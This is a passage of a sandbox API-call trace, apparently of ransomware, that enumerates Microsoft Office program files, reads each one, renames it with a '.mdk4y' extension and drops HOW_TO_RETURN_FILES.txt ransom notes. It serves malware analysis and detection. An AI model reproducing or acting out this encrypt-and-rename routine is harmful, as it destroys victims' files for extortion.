lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833091900000) returned 1 [0255.689] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xba14, lpOverlapped=0x0) returned 1 [0255.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833092100000) returned 1 [0255.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833092200000) returned 1 [0255.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.dpv.mdk4y")) returned 1 [0255.694] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.694] AreFileApisANSI () returned 1 [0255.694] GetACP () returned 0x4e4 [0255.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WITHCOMP.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WITHCOMP.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0255.694] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833092400000) returned 1 [0255.695] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1716, lpOverlapped=0x0) returned 1 [0255.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833099500000) returned 1 [0255.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833099500000) returned 1 [0255.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml.mdk4y")) returned 1 [0255.767] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.767] AreFileApisANSI () returned 1 [0255.767] GetACP () returned 0x4e4 [0255.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WORDREP.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WORDREP.DPVL", lpUsedDefaultChar=0x37df4c) returned 11 [0255.767] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833099900000) returned 1 [0255.769] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x79e6b, lpOverlapped=0x0) returned 1 [0255.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833100200000) returned 1 [0255.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833100200000) returned 1 [0255.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.dpv.mdk4y")) returned 1 [0255.777] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.777] AreFileApisANSI () returned 1 [0255.777] GetACP () returned 0x4e4 [0255.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WORDREP.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WORDREP.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0255.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0255.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833100900000) returned 1 [0255.779] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1854, lpOverlapped=0x0) returned 1 [0255.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833110900000) returned 1 [0255.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833111000000) returned 1 [0255.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml.mdk4y")) returned 1 [0255.882] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0255.882] AreFileApisANSI () returned 1 [0255.882] GetACP () returned 0x4e4 [0255.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WPULQT98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WPULQT98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0255.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wpulqt98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0256.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833124000000) returned 1 [0256.010] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2dd6, lpOverlapped=0x0) returned 1 [0256.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833124100000) returned 1 [0256.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833124200000) returned 1 [0256.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wpulqt98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wpulqt98.poc.mdk4y")) returned 1 [0256.014] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0256.014] AreFileApisANSI () returned 1 [0256.014] GetACP () returned 0x4e4 [0256.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSIDBR98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WSIDBR98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0256.014] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wsidbr98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0256.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833124600000) returned 1 [0256.016] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31d6, lpOverlapped=0x0) returned 1 [0256.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833126800000) returned 1 [0256.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833126800000) returned 1 [0256.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wsidbr98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wsidbr98.poc.mdk4y")) returned 1 [0256.040] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0256.040] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0256.041] AreFileApisANSI () returned 1 [0256.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0256.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0256.042] GetFileType (hFile=0x12c) returned 0x1 [0256.043] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0256.043] AreFileApisANSI () returned 1 [0256.043] GetACP () returned 0x4e4 [0256.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="QUERIES", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="QUERIES.DLL", lpUsedDefaultChar=0x37dfd8) returned 7 [0256.043] AreFileApisANSI () returned 1 [0256.043] GetACP () returned 0x4e4 [0256.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\h") returned 51 [0256.045] AreFileApisANSI () returned 1 [0256.045] GetACP () returned 0x4e4 [0256.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0256.045] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0256.045] AreFileApisANSI () returned 1 [0256.045] GetACP () returned 0x4e4 [0256.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0256.045] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0256.045] AreFileApisANSI () returned 1 [0256.045] GetACP () returned 0x4e4 [0256.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSN MoneyCentral Investor Currency Rates.iqy", cchWideChar=44, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSN MoneyCentral Investor Currency Rates.iqycLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 44 [0256.045] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor currency rates.iqy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0256.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833127600000) returned 1 [0256.046] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd, lpOverlapped=0x0) returned 1 [0256.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833127700000) returned 1 [0256.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833127700000) returned 1 [0256.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor currency rates.iqy"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor currency rates.iqy.mdk4y")) returned 1 [0256.049] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0256.049] AreFileApisANSI () returned 1 [0256.049] GetACP () returned 0x4e4 [0256.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSN MoneyCentral Investor Major Indicies.iqy", cchWideChar=44, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSN MoneyCentral Investor Major Indicies.iqy", lpUsedDefaultChar=0x37df4c) returned 44 [0256.049] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Major Indicies.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor major indicies.iqy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0256.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833128000000) returned 1 [0256.050] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x141, lpOverlapped=0x0) returned 1 [0256.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833128100000) returned 1 [0256.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833128100000) returned 1 [0256.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Major Indicies.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor major indicies.iqy"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Major Indicies.iqy.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor major indicies.iqy.mdk4y")) returned 1 [0256.053] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0256.053] AreFileApisANSI () returned 1 [0256.053] GetACP () returned 0x4e4 [0256.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSN MoneyCentral Investor Stock Quotes.iqy", cchWideChar=42, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSN MoneyCentral Investor Stock Quotes.iqyqy", lpUsedDefaultChar=0x37df4c) returned 42 [0256.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Stock Quotes.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor stock quotes.iqy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0256.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833128400000) returned 1 [0256.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x133, lpOverlapped=0x0) returned 1 [0256.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833128500000) returned 1 [0256.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833128500000) returned 1 [0256.056] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Stock Quotes.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor stock quotes.iqy"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Stock Quotes.iqy.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor stock quotes.iqy.mdk4y")) returned 1 [0256.058] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0256.058] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0256.058] AreFileApisANSI () returned 1 [0256.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0256.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0256.059] GetFileType (hFile=0x12c) returned 0x1 [0256.060] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0256.060] AreFileApisANSI () returned 1 [0256.060] GetACP () returned 0x4e4 [0256.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RECALL.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="RECALL.DLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0256.060] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RECALL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\recall.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0256.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833130900000) returned 1 [0256.079] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc568, lpOverlapped=0x0) returned 1 [0256.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833131000000) returned 1 [0256.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833131000000) returned 1 [0256.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\RECALL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\recall.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\RECALL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\recall.dll.mdk4y")) returned 1 [0256.082] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0256.082] AreFileApisANSI () returned 1 [0256.082] GetACP () returned 0x4e4 [0256.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REFEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="REFEDIT.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0256.083] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REFEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\refedit.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0256.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833131400000) returned 1 [0256.084] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa958, lpOverlapped=0x0) returned 1 [0256.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833137800000) returned 1 [0256.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833137800000) returned 1 [0256.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REFEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\refedit.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REFEDIT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\refedit.dll.mdk4y")) returned 1 [0256.152] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0256.152] AreFileApisANSI () returned 1 [0256.152] GetACP () returned 0x4e4 [0256.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REMINDER.WAV", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="REMINDER.WAV", lpUsedDefaultChar=0x37dfd8) returned 12 [0256.152] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0256.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833138300000) returned 1 [0256.153] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1a900, lpOverlapped=0x0) returned 1 [0256.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833147100000) returned 1 [0256.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833147100000) returned 1 [0256.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav.mdk4y")) returned 1 [0256.245] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0256.245] AreFileApisANSI () returned 1 [0256.245] GetACP () returned 0x4e4 [0256.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REPORT.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="REPORT.DLLAV", 